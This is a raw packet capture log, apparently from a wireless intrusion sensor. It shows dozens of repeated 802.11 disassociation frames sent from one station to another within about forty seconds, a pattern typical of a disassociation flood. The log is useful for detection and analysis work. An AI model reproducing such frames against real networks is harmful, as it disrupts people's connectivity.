=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:03.616511 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:03.618337 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:03.619633 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:05.636435 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:05.642914 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:06.647280 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 10 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:07.841586 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 20 85 05 00                    ...... ...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:08.666427 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 30 85 05 00                    ......0...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:08.749824 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 30 85 05 00                    ......0...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:08.750523 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 30 85 05 00                    ......0...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:09.676585 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 40 85 05 00                    ......@...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:10.686323 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 85 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:10.690583 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 85 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:10.691596 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 85 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:12.755370 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 85 05 00                    ......p...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:12.812025 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 85 05 00                    ......p...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:13.716230 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 80 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:15.735970 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:15.737320 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:15.739711 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:16.746157 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 B0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:16.747417 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 B0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:16.748814 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 B0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:17.830534 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:17.832727 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:18.765851 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:18.791335 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:20.786041 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:20.828731 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 85 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:22.806052 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 10 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:22.845486 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 10 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:23.815792 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 20 86 05 00                    ...... ...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:26.849333 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 86 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:26.941635 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 86 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:27.855541 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 60 86 05 00                    ......`...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:27.857329 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 60 86 05 00                    ......`...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:27.869627 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 60 86 05 00                    ......`...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:28.865496 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 86 05 00                    ......p...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:28.999469 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 86 05 00                    ......p...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:29.878436 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 80 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:29.879246 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 80 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:30.885417 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 90 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:30.891105 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 90 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:30.892496 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 90 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:31.895460 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:31.902673 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:32.909524 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 B0 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:32.911677 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 B0 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:33.915499 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:34.925304 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:35.077986 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:35.129968 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:36.975929 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:36.986519 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 86 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:37.955391 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:37.956719 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:39.980118 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 20 87 05 00                    ...... ...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:40.985381 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 30 87 05 00                    ......0...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:41.051015 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 30 87 05 00                    ......0...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:41.995263 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 40 87 05 00                    ......@...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:42.108918 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 40 87 05 00                    ......@...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:43.005153 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 87 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:43.007295 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 87 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:43.007995 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 87 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:44.014973 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

